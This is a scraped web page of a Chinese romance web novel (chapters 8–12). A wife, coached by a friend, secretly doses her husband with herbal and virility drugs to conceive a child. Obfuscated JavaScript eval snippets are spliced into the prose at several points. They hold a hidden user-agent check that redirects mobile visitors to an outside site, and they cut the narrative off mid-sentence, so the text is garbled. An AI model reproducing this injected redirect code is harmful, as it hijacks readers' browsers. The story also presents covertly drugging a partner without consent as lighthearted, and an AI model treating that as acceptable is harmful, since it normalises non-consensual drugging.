赵叙平烦透了,抬手在眼前挥了挥,想赶走那一个个周静烟,谁知越赶越多,每个都有重影,变成无数分身,围着他扭啊扭,扭啊扭。 他一个劲儿挥手:“别闹,媳妇儿,别闹!” 兄弟们面面相觑。 “平哥这是——想娶媳妇儿了?” “他还有这种需求?我以为平哥这辈子打算当和尚。” “哎你们说,平哥喜欢什么样的?” “不道啊,也没见他有过姑娘,更没听他提过这茬。” 江东铭手握成拳放在嘴边,清了清嗓子:“咳,平哥的心思你别猜,一般人猜不出来。” 梁卓拍拍他肩膀:“哟,东子,听这意思,你知道点儿内幕?” 江东铭淡笑着摇头:“我不知道,除了平哥自个儿,没人知道。” 他嘴严,答应过不往外抖落,在赵叙平公布之前,绝不先开口。 赵叙平还在灌自己,江东铭和梁卓怕他喝太多,把他架回车上,让司机先带他走。 车门一关,司机问:“赵总,今晚去哪儿?” 赵叙平瘫靠在后座,只觉天旋地转,以为自己正坐船,拖着嗓音慢悠悠唤道:“媳妇儿。” 没人应,他不高兴,扯着嗓子喊:“周静烟!” 司机:“赵总,周小姐在家。您是想回家么?” 赵叙平:“回,回,得回。小时候我爸在外边儿喝大酒,不回家第二天准挨揍,脸都被我妈挠花。” 司机:“……” 赵叙平:“老吴,你多大来着?” 司机:“四十了。” 赵叙平:“四十啊?老大不小了,该结婚了。” 司机:“赵总,我结婚十年了。” 赵叙平:“哦,有孩子没?” 司机从没见赵叙平醉成这样过,心想:老板平日不苟言笑,喝断片儿还挺亲切的。 司机答道:“闺女六岁了,您还见过呢。” 赵叙平不住地点头:“闺女好啊,我就得意闺女。” 司机调头往婚房那边开,不禁好奇:“赵总,您打算要孩子?” 赵叙平陷入沉默,过了会儿,浅浅叹一口气,轻声说:“不要了,生下来也愁人。” 司机跟着他好几年,知道他许多事,听这话就懂了,原本不想多嘴,又忍不住劝道:“其实要一个也挺好,有了孩子,两口子过日子也更有奔头。” 赵叙平哼笑,语气几分寂落:“嗐,凑活过吧,过一天算一天。” 司机将他送回家,芳姐见他路都走不稳当,想扶他,手刚伸过来便被他挡掉,只能跟在他身旁,随他上二楼,送他到主卧门口,退到几米外,见里头开了门,芳姐才放心离开。 赵叙平见着周静烟就愣了,想给自己几巴掌,看看是不是做梦,能不能扇醒。 一贯素面朝天衣着俭朴的周静烟,这会儿身上穿着漂亮裙子,脸上化着妆,美得跟天仙似的。 他喝得找不着北,却认得眼前这个跟夜店那些都不一样,这个才是真媳妇儿。 这个才是他唯一的媳妇儿。 赵叙平头重脚轻栽她身上,低沉而轻缓地唤了声:“媳妇儿。” 媳妇儿没应,他感觉天地晃得厉害,赶忙将媳妇儿抱得更紧,正儿八经说:“海上是这样,别怕,搂着我就能站稳当。” 话刚说完,他大半个身子差点儿将周静烟压倒,脸埋进日思夜想的那片软嫩中。 周静烟抱着他连退好几步才稳住重心,换了个姿势,使出浑身力气将他架到床边,稍不留神,俩人一块儿栽倒在床。 她正想起来,被男人翻身压住,烟酒味越发浓烈,闻着呛,她用力把人往外推,男人纹丝不动。 过了片刻,男人又一翻身,躺平下来,周静烟趁机要跑,他忽地将她搂住,双臂紧如铁箍。 周静烟压根逃不掉,气得发笑:“真醉假醉啊?” 男人睁眼看着她,瞳孔失焦目光涣散:“闺女好,我就得意闺女。” 没头没尾来这么一句,周静烟哪里听得懂:“赵叙平,喝醉了就老实睡觉!” 赵叙平:“睡觉好,两口子一块儿睡觉,才能有闺女。” 这都哪跟哪啊,怎么跟他说不明白呢?周静烟扭脸,绝望地看向天花板。 一只手伸来捂她脸颊,扳过她脑袋,俩人面对面。 周静烟握住赵叙平手腕,看了会儿这张懵懂迷茫的俊脸,问:“你到底醉没醉?” 赵叙平:“还是不要了。闺女再好,也不能要。” 周静烟差点儿崩溃,不轻不重一巴掌拍他脸上:“什么乱七八糟的!能不能好好说话?” 一巴掌把赵叙平扇愣,他迷瞪瞪瞧着她,皱起眉心,板着脸凶道:“周静烟,你他妈跟谁吆五喝六?” 周静烟吓得缩脖打激灵:“我、我——” 赵叙平:“没大没小,叫哥哥。” 周静烟怔了怔,听话叫道:“哥哥。” 赵叙平眉心皱得更深:“叫什么哥哥?没规没矩,叫老公。” 周静烟脸涨得通红,半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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芳姐正切着食材,停下动作扭头看她:“每个人有每个人的特长,虽然您不擅长学习文化知识,可您手巧,很擅长做饭!而且我发现,兴许您做手工也很厉害呢,反正不上班,有的是时间,您可以买点儿材料自己搞个什么DIY!” 周静烟被说动,上楼回主卧拿手机,打算网购材料做手工,付钱时系统提醒余额不足,盯着屏幕犹豫半晌,还是给赵叙平发去一条短信。 周静烟:【请问我可以取些卡里的钱,转到自己卡里用吗?】 她握着手机,忐忑不安等待许久,那头一直没动静,正心慌意乱,手机刚放下便震了震。 赵叙平:【随便。】 周静烟打字的手止不住发颤:【谢谢!】 赵叙平:【多买点那种裙子。】 周静烟愣住,不明白他什么意思:【哪种?】 赵叙平:【主卧衣柜里那种。】 周静烟想起来,他平时虽然不睡主卧,但也有衣裤挂在柜子里备用,肯定在里面看到自己昨天买的那些裙子。 她起身跑过去,想拍张照片发过去问他喜欢哪一套,打开柜门,看见几条片儿里女主同款睡裙凌乱堆成一团。 周静烟捂嘴惊呼,这才发现自己之前太大意,竟没想过这个柜子赵叙平也会用,直接把那些又辣又劲的睡裙明晃晃放里面,还摆在显眼的地方。 她记得,这些睡裙自己全都整齐叠好的,这会儿却有些乱,明显被人扒拉过。 不用想也知道是谁。 她呆站在衣柜前,脸颊红如八月蜜桃。 9. 第 9 章 周静烟暗暗想:他会不会说的是那些正经裙子? 抱着一丝期望,周静烟回短信问:【我买了挺多裙子,你喜欢我穿哪一款?】 赵叙平:【遮不住肉那种。】 周静烟恨不得找个地缝钻进去……她就多余问这句。 看着赵叙平口中那些遮不住肉的睡裙,周静烟心里嘀咕:身体硬件不行,嘴上偏要占便宜,这些以后也不知道能不能用上,还要花钱再买吗? 周静烟没继续回复,出门去银行一次从他卡里转了五万存到自己卡上,随即发微信给沈琳,问她醒没醒。 沈琳在会所做酒水销售,只上晚班,白天通常用来补觉,周静烟怕打扰她睡觉,没直接打电话。 沈琳回得很快,说今天不怎么想睡,周静烟便约她出来一起吃午饭。 见了面,沈琳抱住周静烟就哭。 周静烟心里也不好受,轻拍着她后背安抚:“没关系的,其实我没受多少苦,赵叙平都不怎么回来。” 沈琳抹抹泪:“我这是喜极而泣!” 周静烟愣了愣:“啊?” 沈琳:“对呀!你自己想想,结婚这么些天,赵叙平除了嘴巴刻薄你几句,也没真把你怎么着。最关键是,他不行!兴许这人还残存那么点儿良心,觉着让你守一辈子活寡,有些对不住,所以拿钱补偿。 “苍天啊,烟烟,你过上了多少女人梦寐以求的婚后生活——资产过亿,无儿无女,老公不举!” 周静烟飞快捂住她的嘴,贼一样四处张望:“小点儿声!他只是拿卡给我用,又不是跟我分财产,而且……而且他不行这个事儿,如果让他查到是咱俩传出去的,那可就坏了!” 沈琳也跟着四处望了望,见没什么人看这边,拍拍胸脯,压低声音:“正所谓‘福兮祸所依,祸兮福所致’,没想到赵叙平对你这么大方,你现在日子也是好上了,都能请我下馆子了。” 周静烟知道她爱吃辣,请她吃川菜,点的全是合她胃口的菜,只给自己点了份红薯粥。 沈琳好说歹说才又为她加了几道不辣的家常菜。 “赵叙平虽然挺不是东西,可他既然能把卡给你,说明压根不在乎你怎么用,用多少,所以你放心大胆用就成。” 周静烟一想,是这么个理。赵叙平真要介意她花钱,就不会直接给卡。况且这些年来,关于他的标签,不是“狠”就是“野”,还真没有“抠”。 周静烟想通了,立马又点了两瓶冰镇豆奶。 这家川菜馆味道正宗,沈琳赞不绝口,她吃着那些清淡不辣的家常菜也很满意。 吃饱喝足,沈琳冲她勾勾手指:“刚才吧,我忽然灵光一闪——你勾引不了赵叙平小兄弟,可以勾引他的胃啊!答应我,从今天开始,苦练厨艺,让他那张嘴,让他那个胃,再也离不开你!” 周静烟掌心朝下按了按,示意她降低音量,清了清嗓子:“在学了在学了。”起初跟芳姐学厨艺是为了打发时间,听她这么说,也认为有几分道理,下厨的动力变得更足。 “烟烟,你可得抓紧啊,赶在你弟判之前把赵叙平哄好。从他给你卡这个事情看,这人好像也不完全是铁石心肠。”沈琳对赵叙平稍有改观,提醒她抓住机会。 周静烟点点头,面露为难。 沈琳瞧出她欲言又止:“怎么了?有什么难处你跟我说,咱俩一起商量着办。” 周静烟垂眸,盯着碗底发了会儿呆才开口:“他根本就不怎么回来,昨晚倒是回了,醉得一塌糊涂。” 沈琳:“你有事儿没事儿多联系他,反正闲着也是闲着,就当撩着玩儿呗!我估计他吃软不吃硬,你多撒撒娇,求他回来陪你。” 这可真难住周静烟了:“怎么撩,怎么撒娇啊?” 沈琳肩膀往下一沉,仰脸望天,长长叹了口气:“烟烟啊,你真是块木头啊!” 周静烟不好意思摸摸脸:“你教教我嘛。” 沈琳想了想,说:“去会所工作之前,我也不懂怎么哄男人,在那儿干了一阵子,观察别的姑娘怎么说怎么做,还是学到了七七八八。总而言之有三点——说话嗲,身段软,姿态低。” 周静烟心里默念这三点,牢牢记下。 “我是不是得经常主动联系他?”她问。 “废话,当然啦!主动就会有故事,不仅有故事——”沈琳半边身子靠过来,趴她耳边,“还会有孩子!” 周静烟羞红了脸,摇头瞪眼:“瞎说什么呢!” 沈琳“啧”一声,戳戳她太阳穴:“谁瞎说了?你现在情况特殊,跟赵叙平有个孩子,总比没有强。有孩子就有牵绊,没准儿还能拿捏住他。” 周静烟:“可是,他压根不行,怎么有孩子?” 这倒是个大问题,沈琳一拍脑门:“完蛋,我把这事儿给忘了。” 她喝下半杯茶,皱眉沉思,猛地挑高眉毛,一个劲冲周静烟眨眼:“他不行,你就创造条件让他行!” 周静烟满脸懵懂:“啊?怎么创造?” 沈琳没出声,做了个口型。 周静烟看不明白,神情呆滞。 沈琳揪起她耳朵,凑过去轻声说:“下药呗,还能怎么创造!” 周静烟眼珠子都快瞪出来:“这、这不太好吧!而且,他那种问题,吃药就能行?” 沈琳:“你管他呢,先试试呗!药店卖得最火的就是男人这些药了,没用谁会买?既然一直有卖,说明多少都有效果。” 周静烟还是觉得不妥:“要不……我先给他熬点儿中药补一补?” 沈琳摆摆手:“不行,中药起效慢,还未必好使。我估摸着他那个是顽疾,要不这样——中西合璧!中药调理,西药猛攻,一柔一刚,治他个措手不及!” 沈琳嗓门儿逐渐大起来,全然忘记自己在说悄悄话,语气铿锵有力,声调抑扬顿挫,引得旁桌纷纷侧目。 周静烟飞快捂住她的嘴,扫码买单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周静烟:“江家背景硬,他跟赵叙平关系最好。” 沈琳:“对,中药是托江东铭弄来的,猛药是我小姐妹男朋友给的。” 周静烟从没听说江东铭懂医术,越发不放心:“江东铭还会开药?” 沈琳:“那必然不会啊!药是他表姐开的,他表姐可是咱京州最著名的男科医院主治医师,这点儿小问题,手拿把掐!” 周静烟:“可咱们也不知道赵叙平具体什么问题,万一药不对症——” 沈琳挥手打断:“药不对症也吃不死!这么跟你说吧,中药主要起的是保健调理作用,这二十副吃完都未必有多大效果。那个猛药才是关键,那玩意儿吃下去,蔫黄瓜都能变铁棍山药!” 周静烟急忙伸手过去捂嘴,另一只手将墨镜往上推了推,生怕遮不住眼。 “琳琳,今天这顿必须我请。谢谢你和那位小姐妹,回头我把药钱转你,麻烦你帮我转交给她!” 周静烟迅速扫码结账,拎着黑色大袋子一溜烟逃出店外。 10. 第 10 章 回到家,周静烟火速拎着袋子冲进电梯,直奔主卧,关起门来才松了口气。 盯着茶几上的袋子看许久,她内心犹豫,暗自权衡利弊。 以往周静烟从没想过要孩子,毕竟自己都活得够呛,还得拉扯弟弟。 沈琳的话给她提供了一种新视角。 赵叙平用她弟弟拿捏她,为什么她不能用孩子反过来拿捏他? 虽说带着这种目的生孩子并不道德,可跟赵叙平这种人相处,又有什么道德好讲? 弟弟注定要为自己酿成的苦果负责,她就该被牵连,一辈子受制于赵叙平,彻底无法翻身么? 周静烟心头一震,猛然想起赵叙平喝醉那晚嚷嚷着闺女好,他就得意闺女。 周静烟反应过来,这人内心挺向往有孩子,并且希望是个女孩儿。 周静烟心一横,选定一条路便准备硬着头皮走下去。 她捧着手机深呼吸,发出这么一条短信:【今晚早点回家,别喝那么多,伤身体……】 等了半小时赵叙平也没回。 她看看时间,这会儿两点整,应该还在午休没上班,大着胆子拨下他号码。 电话通了,但那头没接。 周静烟不敢再打,又发条短信过去:【今晚可以回来吗?我一个人睡觉害怕……】 惴惴不安等到晚上,赵叙平既没回电话,也没回消息,见他压根不吃这套,周静烟心情沮丧,躺在床上辗转难眠。 · 整天忙得脚打后脑勺,赵叙平下班也没能休息,从公司直接去饭店应酬。 酒局上江东铭也在,俩人挨着坐,赵叙平侧头笑眯眯瞧他。 他被瞧得不自在,摸着脸问:“怎么了?” 赵叙平脑袋凑过去,压低嗓音:“难怪这么些年,身边也没个姑娘。” 江东铭一头雾水:“啊?你不也没有?” 赵叙平轻笑:“我没有,那是不想,跟你不一样。” 江东铭放下筷子,歪起脑袋瞥他:“今儿怎么阴阳怪气的!咱俩哪不一样?没找姑娘不都是因为不想?” 赵叙平:“不想跟不行,区别还是很大的。” 江东铭可算听明白了,哥们儿搁这暗讽他年纪轻轻立不起来呢。 不对,不是暗讽,这是明晃晃的嘲笑。 “赵叙平,你他妈哪儿听来的消息,说老子不行?”江东铭哪受得了这种侮辱,气得拍桌,又怕旁人听见,压着火气低声骂道。 “行你干嘛找人开药?圈儿里都传疯了。” “我那是帮朋友的朋友开的!” “哦,无中生友。” “滚蛋!梁卓找我来着,说是有个朋友那方面有点儿问题,让我跟我表姐要个方子,不信你去问梁卓!” 赵叙平点头,笑容意味深长:“你看你,又急。” 梁卓打小跟着他俩混,拜他俩当哥,江东铭非要把锅甩给梁卓,梁卓哪敢说什么。赵叙平一副“不必多言,哥们都懂”的表情,瞧着江东铭淡笑。 “哪急了?我哪急了?哎不是——就算急了,那不也正常?哪个男人被扣这种帽子能不急!赵叙平你他妈少信谣传谣,真把老子逼急了,老子买通稿说咱俩是同,搞基多年,大不了同归于尽!” 赵叙平手一抖,指间香烟跟着颤了下,烟灰抖落,他抬起另一只手,按了按江东铭肩膀:“开个玩笑,别冲动。” 听到这话江东铭更来气:“这种有辱男人名节的玩笑,老子劝你少开!” 赵叙平拍拍他后背:“对不住啊,哥们嘴贱,您多担待。”嘴上这么说,心里暗自想:果然,越有问题,反应越大。 酒局结束江东铭就撤了,赵叙平知道,这是在跟他置气。 他没计较,可怜自己这位好兄弟英年早废,本着幸福者退让原则,决定以后多让着人家点儿。 其余人要去会所,拉赵叙平一块儿去,赵叙平给拒了。 他没回周静烟消息,却又一直把这事记在心里。 看来她还不死心,上回没演成美人计,非得找机会演一次试试。 赵叙平觉着,在家看她演戏,比去会所看销售演戏有意思多了。 晚上九点到家,赵叙平推开主卧门,见房间黑漆漆,不由有些失落。这人也真是,巴巴地求他回来,又这么早睡,合着耍他玩儿呢? 他不高兴,啪地按下墙上开关,最亮那档灯瞬间照亮满室,床上女人一骨碌爬起来,手挡在额前,委屈巴巴问:“你干嘛呀?” 赵叙平觉着这女人又蠢又无能,总是一副可怜样,问他要干嘛。他还能干嘛?欺负她呗。娶她回来就是让她给伊伊赎罪的,难不成还得供着她,让她享受? 他正准备奚落两句,挡在周静烟胸前的薄被忽然掉落,露出她半个身子。 睡裙遮不住几两肉,黑色衬得皮肤越发莹白,哪哪都纤瘦,偏偏那里,也不知怎么长的,竟跟一手握不住的桃儿一样。 赵叙平看得发愣,又热又躁,低头扯扯领带,扭扭脖子,没再抬眼。 今晚没喝几杯,他倒怨起酒来,怪这酒度数高太上头,弄得他浑身不舒服,像是有股火在体内胡乱窜来窜去。 他站门口好一会儿没挪步,周静烟不知这是什么意思,想起沈琳的话,忍着羞下床,走到他跟前,往他身上凑。 赵叙平本就有些迷糊,她一靠近,带着些若有似无的香气,闻着更迷糊,手比脑子动得快,脑子还在宕机,手已经伸过去搂她,差点搂上,她又后退半步。 “喝酒啦?”她问。 赵叙平也往后退半步,歪头倚靠门框,抬眼瞧她。 原本没敢瞧的,怕露怯,也怕她发现自己这方面就是个生瓜蛋子,心一横便瞧了去,将她从头到脚,又从脚到头来来回回打量几遍,目光如情场老手般轻漫。 “嗯,喝挺多。”他说。 其实也就几杯而已。 周静烟身子微微颤,羞耻得无地自容,很想抱住自己,又怕这样扭捏惹他心烦,只能就这么直挺挺站立,在他戏谑的眼神中故作淡定。 “喝酒伤肝,我给你开了些护肝的解酒药,你先休息,我去给你煮。” 赵叙平轻哼,语气玩味:“你倒是有心。” 周静烟仰脸诚恳看着他:“总喝酒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775181|174675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还总睡那么晚,肝脏健康才怪呢!” 赵叙平脑袋靠在门框上,皮笑肉不笑:“还挺会来事儿,你这是想开了?” 周静烟垂在两侧的手攥紧成拳,硬挤出笑来:“是想明白了。这些天没少花你的钱,跟着你过,总比以前好。以前饭都吃不饱,现在想买什么买什么。” 赵叙平勾起一边唇角:“裙子新买的?” 周静烟:“以前买的。新买的还没到,你说喜欢这种,我又买了几条。” 赵叙平自己都不清楚到底怎么回事,怎么就抬起胳膊,掌心贴上她脸颊,轻轻蹭了蹭,淡淡说一声:“乖。” 她身子轻颤,仍努力冲他笑着:“你喜欢就好。” 赵叙平:“喜欢。” 周静烟:“我换身衣服下楼给你煮药。” 赵叙平关上门,抱住她,嗓音暗哑:“打电话让芳姐煮。” 头一回穿这么少被他抱,周静烟身子颤得越发厉害,声音也抖:“你、你先松开,我去拿手机。” “手机在哪儿?” “床头柜上。” 赵叙平打横抱起她,走到床边,抱着她坐下,拿起床头柜上的手机递给她。 慌乱中她电话都打错,竟打给了沈琳,反应过来立马挂断,这才拨通芳姐号码。 她告诉芳姐药在哪儿,怎么煮,煮多久,越说声音越颤,因为赵叙平在吻她。 他的唇轻轻划过她额头,划过脸颊,最后停在颈侧。 终于交代完,周静烟飞快挂断电话,双手抵在他心口,轻摇着头:“还没喝药呢。” 什么药不药的,赵叙平哪还管这个,攥住侧面那根丝带往下拽,薄薄两片就这么散开。 赵叙平脑中轰的一声炸开,理智尽失,吻了不知多久,裤兜里,手机不合时宜震动起来。 他没理会,舍不得腾出手来挂断。 手机一遍一遍震着,总也不停。 周静烟挣扎几下,好不容易推开他:“要不、要不你先接电话?” “不用管。” “那边一直打呢,兴许有什么急事。” 手机刚消停两秒,又开始震。 “艹。”赵叙平满脸烦躁,长长呼出一口气,掏出手机,盯着屏幕发愣。 周静烟挨得近,看清他屏幕上的来电备注。 “阿姨大晚上找你,肯定有事,先去接电话吧。”周静烟劝道。 赵叙平松开她,起身离开主卧,走进隔壁客房,关上门,靠着门板,一手揣进裤兜,一手握着手机,仰头望向天花板,接通电话。 “妈,怎么了?” 听筒里,传来母亲压抑的啜泣声:“伊伊那个案子,什么时候开庭?” 母亲的话如同一盆冰水,迎头泼过来,赵叙平刹那间恢复冷静,沉默片刻,说:“快了。” “一定,一定,一定不要放过周知宇!要不是他……伊伊也不会,也不会……”母亲泣不成声。 赵叙平闭上眼,揉揉眉心,疲惫至极:“知道了,您早点儿睡。” 不等母亲再开口,他挂断电话,望着漆黑的四周,心脏无声抽痛。 11. 第 11 章 独自靠在主卧床头,周静烟缓了许久才回过神。 她看看墙上时钟,已经过去二十五分钟。 赵叙平离开后就没再回来,或许还在打电话,又或许已经不打算回来跟她继续。 周静烟低头,垂眸看看自己锁骨上的红痕,脸又烫了几分。 电话应该不会打这么久,她想,八成是他没支棱起来,顾及脸面,索性躲在别处不肯面对。 她叹了口气,想起当时被他吻得动情的自己,不禁怀念起那双薄唇,反应过来自己在干什么,飞快摇摇头,把脑子里的画面赶出去,不允许再回味。 芳姐在外头敲门,周静烟换上正经睡裙,开门从芳姐手里接过碗,道了声谢,等芳姐进电梯她才敲响隔壁客房门。 没人应,她开门往里走,看见赵叙平坐在落地窗前沙发上抽烟。 “药熬好了,趁热喝吧。”她端着碗过去。 赵叙平没作声,点一下头,算是回应。 周静烟将碗放茶几上,没走,绞着手站他跟前:“要不要我喂你?” 赵叙平轻扯薄唇,笑了笑。 她不懂这个笑代表什么意思,却能看出其中有几分疲惫与无奈。 看他那神情,像是累极,她犹豫片刻,在他身旁坐下,端起碗拿起勺边搅边吹,舀起一勺药汤递到他嘴边。 药苦,他拧紧眉头:“这什么玩意儿?” 周静烟忙哄道:“良药苦口,这些药材对肝脏很好的,忍一忍,长痛不如短痛,一口气喝完吧!” 她哄小孩儿似的,语气温柔如水,赵叙平只是嫌药难喝,压根没想过她有胆子撒这种弥天大谎,从她手里拿过碗,仰头喝光,最后一口呛得咳嗽。 她轻拍他后背:“好点儿没?” 赵叙平不咸不淡瞧她一眼:“嗯。” 她这才站起来,低垂着头,没好意思与他对视:“今晚……还过去睡么?” 他不答。 等了一小会儿,听见他说:“自个儿睡吧,怕就开灯。” 周静烟心想:这才刚喝第一副药,得给他点时间。 猛药效果虽然立竿见影,可保不齐有什么后遗症,还是中药稳妥。 她回到主卧,给沈琳发了条微信:【要能生个女儿就好了……】 她也喜欢女儿。 · 赵叙平一宿没睡。 明明身累心也累,整个人疲惫到了极点,却又躁得毫无困意。 他知道自己在渴求着什么。以往不是没有过这种情况,可从未像今晚这般难捱。 他怀疑过饭局上喝的酒有问题,怀疑过自己身体有问题,偏偏没怀疑周静烟端来的药汤有问题。 他想当然以为周静烟没这个胆子。毕竟这可不是件小事。 热得发了一次又一次汗,冲过不知多少次凉水澡,依然压不住体内那份躁,反复折腾下来,赵叙平成功把自己弄感冒了。 天亮那会儿头实在是疼,他打算在家办公一天,刚走出客房,就碰见同时从主卧出来的周静烟。 周静烟身上还是那条规矩睡裙,该遮的地方遮得严实,可不知怎么,瞧见她,他就热得慌,体内那股子邪火拼命乱窜。 赵叙平没了招,只得又去洗个凉水澡,匆匆赶往公司。 公司附近有家粤式凉茶店,赵叙平让助理去买几杯降火凉茶,助理见他连连打喷嚏,担心地问:“赵总,感冒喝温补茶会不会好一点?” 赵叙平估摸着自己这是寒包火,寒在外,火在内,必须先祛体内邪火。他摇摇头:“买降火茶,跟老板说,拿药效最猛那种。” 过了会儿助理拎着两杯凉茶回来,他一鼓作气喝光,身体舒畅些许,总算能安心工作。 上午开完会,赵叙平接到律师电话。 律师跟他汇报了伊伊案子的进展,告诉他一个月后开庭,又问他需不需要这边再努努力,毕竟伊伊还未成年,他们可以尝试把嫌疑人的刑罚拉到最重。 赵叙平沉默许久,淡声说:“顺其自然,该怎么判怎么判。” 午饭赵叙平一口没吃。 他靠在皮椅上,望着几米开外那盆发财树,心里想:家业长青,自己这些年又赚到几辈子都挥霍不完的钱,发了别人想都不敢想的财,可是,快乐吗? 明明什么都有,心却空落落的,好像什么都没有。 伊伊很小那会儿特活泼,最喜欢他,到处追着找他,他大她整整十岁,嫌她烦,到处跑着躲她。 他去美国后,放假回来就发现伊伊性子变了。赵天成觉着大号练废,开始练小号,把伊伊当男孩儿养,逼着她学这学那。 他天资聪颖,以前整日找茬打架,成绩从不下滑,回回考前三。伊伊不一样,伊伊不是读书的苗子,再怎么学,成绩也中不溜秋,上不去下不来。 赵天成恨铁不成钢,揍完老大骂老二,怨老大以前净惹事,怪老二现在没出息。 母亲性子泼辣,可当了半辈子家庭主妇,什么都倚仗夫家,再心疼两个孩子,也只是跳脚跟丈夫吵几句。 工作前赵叙平恨死他爹,工作后竟然能理解赵天成几分。 在他创业之前,赵天成是赵家祖辈五代以内最有出息的人。 赵叙平发展势头迅猛,三分之仰仗他老子铺路,三分之一有强大家境作底气,剩下三分之,才是靠自己。 鸡汤处处有,真相很残酷:绝大部分男人起势,要么靠亲爹,要么靠岳父。 赵叙平心里清楚,没他老子赵天成,自己顶多是个常青藤毕业的高级牛马。 赵天成好不容易打来的天下,想要稳稳守住,下一代必须得争气。当年在俩孩子身上都看不到希望,也难怪赵天成着急。 理解归理解,儿子被老子揍得多了,自然心生间隙,赵叙平和他爹关系一直很淡,非必要不联系,长话短说,没事不说。 他知道自己怎么长大的,所以明白伊伊在这个家里受了多少苦。 要不是因为太委屈,怎么会抛弃至亲,拼命从家里逃出去? 要不是因为太缺爱,怎么会小小年纪就认准一个男人,不顾一切私奔? 周知宇有罪,货车司机有罪,他们赵家谁又完完全全无罪? 若是父亲不揠苗助长逼她成才;若是母亲在她被劈头痛骂时能强硬护着她;若是自己从小多给她些关注与爱护…… 还会有这场悲剧吗? 赵叙平将脸埋进掌心,胡乱搓了搓脸,深吸一口气,仰头缓缓呼出。 办公桌上,手机震了震。 一条新短信。 周静烟:【今晚回家好不好?】 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周静烟惊得愣住:“还能这样啊……琳琳,你可太有智慧了!” 沈琳微摇着头,看着屏幕上的自己,欣赏之情溢于言表:“唉,打小我就觉着,我这人不一般,日后必成大器。行了,姐们儿补一觉,你该干嘛干嘛去。” · 下午四点,赵叙平接到秘书电话。 “赵总,有位女士想要见您。” 赵叙平晚上没睡着,白天没休息,感冒也没好,心烦得看什么都不顺眼,冲着电话话筒吼:“见面提前预约,她不懂规矩,你还不懂?” 那头秘书小心翼翼赔笑:“赵总,这位女士说自己是您家保姆,特意给您煮了药送过来。” 赵叙平愣住:“叫什么名儿?” 秘书:“周芳。” 赵叙平:“让她回去,你把药送上来。” 秘书:“她不肯走,说是一定要督促您把药喝完才放心。” 赵叙平心想:没有周静烟授意,芳姐哪敢这样?周静烟最近上赶着献殷勤,可谓是无所不用其极。 “让她上来吧。”赵叙平啪地摔下电话手柄。 12. 第 12 章 五分钟后,赵叙平眉心拧得死紧,侧头盯着呆呆站在办公桌前的冒牌“芳姐”,气不打一处来。 “不是,周静烟,你有病啊?” 周静烟埋头往前走几步,将不锈钢保温饭盒放办公桌上,解开包住脑袋的长丝巾,摘掉墨镜口罩,满脸堆着讨好的笑。 “我这不是怕你不回家,喝不着药嘛。” “这他妈什么灵丹妙药啊,不喝能死?” 赵叙平现在听见“药”字儿就来气,满眼嫌弃看着面前的保温饭盒。 婚后虽然相处的时间不多,可周静烟对他的冷淡刻薄和暴脾气已经免疫,丝毫不在意,笑着打开盖子,将盛了八分满药汤的内盒递过去。 “这药不仅能护肝排毒,还能润肺生津。你平时又抽烟又喝酒,多伤身体啊,必须好好调理!” 赵叙平目光从药汤移到她脸上:“是药三分毒,周静烟,你别是想毒死我吧?” 被他盯得心虚,周静烟慌忙低头,撇撇嘴,带着哭腔开口:“你死了对我有什么好处?离婚我分不到一分财产,当寡妇我也捞不着一分遗产……你活一天,我做一天赵太太,虽然见不得光,可也不愁吃穿,好歹有个依靠!你要是死了,我能靠谁去!” 她抬手捂住脸,抽抽搭搭的,肩膀一起一伏,哭得伤心欲绝。 话听着有道理,赵叙平想,这姑娘打小就没靠山,跟了他日子倒是比以前好,也难怪这么怕他死。 “行行行,消停会儿成么?药我喝。” 哭声止住。 赵叙平端起药喝一口,有些烫,放下饭盒准备晾晾,见她站在原地不走,皱眉撵人:“回家去,别在这儿影响我工作。” 周静烟仍埋着头,吸吸鼻子:“你喝完我再走。” 赵叙平忍着烫一气儿喝完,咣当将盖子盖上,饭盒往前推,手背冲前挥了挥,示意她赶紧走。 周静烟完成任务似的暗自松了口气,抱起饭盒转身离开,半路又折回原位,像来时那样,拿丝巾包住脑袋,戴上墨镜口罩,小跑着出去。 新项目临时出问题,高层紧急开会,赵叙平听着销售部主管提供的解决方案,越听越感觉不对劲。 不是方案不对劲,是他身体不对劲。 一波接一波热意袭来,体内像是进了股邪气,赵叙平看了看空调——没关,照常运作。 怎么就那么热? 他解开两颗衬衫领扣,让秘书将空调调低两度,还是热,又调低两度,没一会儿便有人开始打喷嚏。 下属快冻感冒,他依然热得难受。领扣已经解开三颗,再往下解可就不得体了,他抹抹额头的汗,满脸写着烦躁。 销售部主管以为老板摆臭脸是因为对自己提出的解决方案不满,草草收尾,忐忑不安坐下。 赵叙平看向运营部经理:“你这边有什么想法?” 运营部经理属于职场老油条,虽然老板脸色难看,依然能稳住心态侃侃而谈,只是说着说着,忽然停下,愣愣看着老板,神情讶异。 赵叙平眉头皱得更深,不明白为什么大家都这副表情看向他,冷脸开口:“接着说。” 